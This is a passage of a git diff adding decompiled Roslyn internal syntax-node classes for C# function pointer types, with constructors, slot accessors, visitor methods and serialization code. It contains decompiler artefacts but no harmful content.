GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => managedOrUnmanagedKeyword, + 1 => unmanagedCallingConventionList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerCallingConvention(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerCallingConvention(this); + } + + public FunctionPointerCallingConventionSyntax Update(SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax unmanagedCallingConventionList) + { + if (managedOrUnmanagedKeyword != ManagedOrUnmanagedKeyword || unmanagedCallingConventionList != UnmanagedCallingConventionList) + { + FunctionPointerCallingConventionSyntax functionPointerCallingConventionSyntax = SyntaxFactory.FunctionPointerCallingConvention(managedOrUnmanagedKeyword, unmanagedCallingConventionList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerCallingConventionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerCallingConventionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerCallingConventionSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerCallingConventionSyntax, (IEnumerable)annotations); + } + return functionPointerCallingConventionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerCallingConventionSyntax(base.Kind, managedOrUnmanagedKeyword, unmanagedCallingConventionList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerCallingConventionSyntax(base.Kind, managedOrUnmanagedKeyword, unmanagedCallingConventionList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerCallingConventionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + managedOrUnmanagedKeyword = syntaxToken; + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = (FunctionPointerUnmanagedCallingConventionListSyntax)reader.ReadValue(); + if (functionPointerUnmanagedCallingConventionListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)functionPointerUnmanagedCallingConventionListSyntax); + unmanagedCallingConventionList = functionPointerUnmanagedCallingConventionListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)managedOrUnmanagedKeyword); + writer.WriteValue((IObjectWritable)(object)unmanagedCallingConventionList); + } + + static FunctionPointerCallingConventionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerCallingConventionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FunctionPointerCallingConventionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterListSyntax.cs new file mode 100644 index 0000000..f3e35bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerParameterListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken lessThanToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken greaterThanToken; + + public SyntaxToken LessThanToken => lessThanToken; + + public SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken GreaterThanToken => greaterThanToken; + + internal FunctionPointerParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal FunctionPointerParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal FunctionPointerParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanToken, + 1 => parameters, + 2 => greaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerParameterList(this); + } + + public FunctionPointerParameterListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken == LessThanToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && greaterThanToken == GreaterThanToken) + { + return this; + } + } + FunctionPointerParameterListSyntax functionPointerParameterListSyntax = SyntaxFactory.FunctionPointerParameterList(lessThanToken, parameters, greaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerParameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerParameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerParameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerParameterListSyntax, (IEnumerable)annotations); + } + return functionPointerParameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerParameterListSyntax(base.Kind, lessThanToken, parameters, greaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerParameterListSyntax(base.Kind, lessThanToken, parameters, greaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + greaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanToken); + writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)greaterThanToken); + } + + static FunctionPointerParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FunctionPointerParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterSyntax.cs new file mode 100644 index 0000000..75d01bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerParameterSyntax.cs @@ -0,0 +1,176 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerParameterSyntax : BaseParameterSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax type; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override TypeSyntax Type => type; + + internal FunctionPointerParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal FunctionPointerParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal FunctionPointerParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => type, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerParameter(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerParameter(this); + } + + public FunctionPointerParameterSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type) + { + FunctionPointerParameterSyntax functionPointerParameterSyntax = SyntaxFactory.FunctionPointerParameter(attributeLists, modifiers, type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerParameterSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerParameterSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerParameterSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerParameterSyntax, (IEnumerable)annotations); + } + return functionPointerParameterSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerParameterSyntax(base.Kind, attributeLists, modifiers, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerParameterSyntax(base.Kind, attributeLists, modifiers, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerParameterSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)type); + } + + static FunctionPointerParameterSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerParameterSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FunctionPointerParameterSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerTypeSyntax.cs new file mode 100644 index 0000000..abf9852 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerTypeSyntax.cs @@ -0,0 +1,168 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerTypeSyntax : TypeSyntax +{ + internal readonly SyntaxToken delegateKeyword; + + internal readonly SyntaxToken asteriskToken; + + internal readonly FunctionPointerCallingConventionSyntax? callingConvention; + + internal readonly FunctionPointerParameterListSyntax parameterList; + + public SyntaxToken DelegateKeyword => delegateKeyword; + + public SyntaxToken AsteriskToken => asteriskToken; + + public FunctionPointerCallingConventionSyntax? CallingConvention => callingConvention; + + public FunctionPointerParameterListSyntax ParameterList => parameterList; + + internal FunctionPointerTypeSyntax(SyntaxKind kind, SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + if (callingConvention != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)callingConvention); + this.callingConvention = callingConvention; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + + internal FunctionPointerTypeSyntax(SyntaxKind kind, SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + if (callingConvention != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)callingConvention); + this.callingConvention = callingConvention; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + + internal FunctionPointerTypeSyntax(SyntaxKind kind, SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)asteriskToken); + this.asteriskToken = asteriskToken; + if (callingConvention != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)callingConvention); + this.callingConvention = callingConvention; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => delegateKeyword, + 1 => asteriskToken, + 2 => callingConvention, + 3 => parameterList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerType(this); + } + + public FunctionPointerTypeSyntax Update(SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax callingConvention, FunctionPointerParameterListSyntax parameterList) + { + if (delegateKeyword != DelegateKeyword || asteriskToken != AsteriskToken || callingConvention != CallingConvention || parameterList != ParameterList) + { + FunctionPointerTypeSyntax functionPointerTypeSyntax = SyntaxFactory.FunctionPointerType(delegateKeyword, asteriskToken, callingConvention, parameterList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerTypeSyntax, (IEnumerable)annotations); + } + return functionPointerTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerTypeSyntax(base.Kind, delegateKeyword, asteriskToken, callingConvention, parameterList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerTypeSyntax(base.Kind, delegateKeyword, asteriskToken, callingConvention, parameterList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + delegateKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + asteriskToken = syntaxToken2; + FunctionPointerCallingConventionSyntax functionPointerCallingConventionSyntax = (FunctionPointerCallingConventionSyntax)reader.ReadValue(); + if (functionPointerCallingConventionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)functionPointerCallingConventionSyntax); + callingConvention = functionPointerCallingConventionSyntax; + } + FunctionPointerParameterListSyntax functionPointerParameterListSyntax = (FunctionPointerParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)functionPointerParameterListSyntax); + parameterList = functionPointerParameterListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)delegateKeyword); + writer.WriteValue((IObjectWritable)(object)asteriskToken); + writer.WriteValue((IObjectWritable)(object)callingConvention); + writer.WriteValue((IObjectWritable)(object)parameterList); + } + + static FunctionPointerTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FunctionPointerTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs new file mode 100644 index 0000000..d3c4f68 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerUnmanagedCallingConventionListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? callingConventions; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SeparatedSyntaxList CallingConventions => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(callingConventions))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal FunctionPointerUnmanagedCallingConventionListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? callingConventions, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (callingConventions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(callingConventions); + this.callingConventions = callingConventions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal FunctionPointerUnmanagedCallingConventionListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? callingConventions, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (callingConventions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(callingConventions); + this.callingConventions = callingConventions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal FunctionPointerUnmanagedCallingConventionListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? callingConventions, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (callingConventions != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(callingConventions); + this.callingConventions = callingConventions; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => callingConventions, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerUnmanagedCallingConventionList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerUnmanagedCallingConventionList(this); + } + + public FunctionPointerUnmanagedCallingConventionListSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList callingConventions, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = CallingConventions; + if (!((ref callingConventions) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = SyntaxFactory.FunctionPointerUnmanagedCallingConventionList(openBracketToken, callingConventions, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerUnmanagedCallingConventionListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerUnmanagedCallingConventionListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerUnmanagedCallingConventionListSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerUnmanagedCallingConventionListSyntax, (IEnumerable)annotations); + } + return functionPointerUnmanagedCallingConventionListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerUnmanagedCallingConventionListSyntax(base.Kind, openBracketToken, callingConventions, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerUnmanagedCallingConventionListSyntax(base.Kind, openBracketToken, callingConventions, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerUnmanagedCallingConventionListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + callingConventions = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)callingConventions); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static FunctionPointerUnmanagedCallingConventionListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerUnmanagedCallingConventionListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new 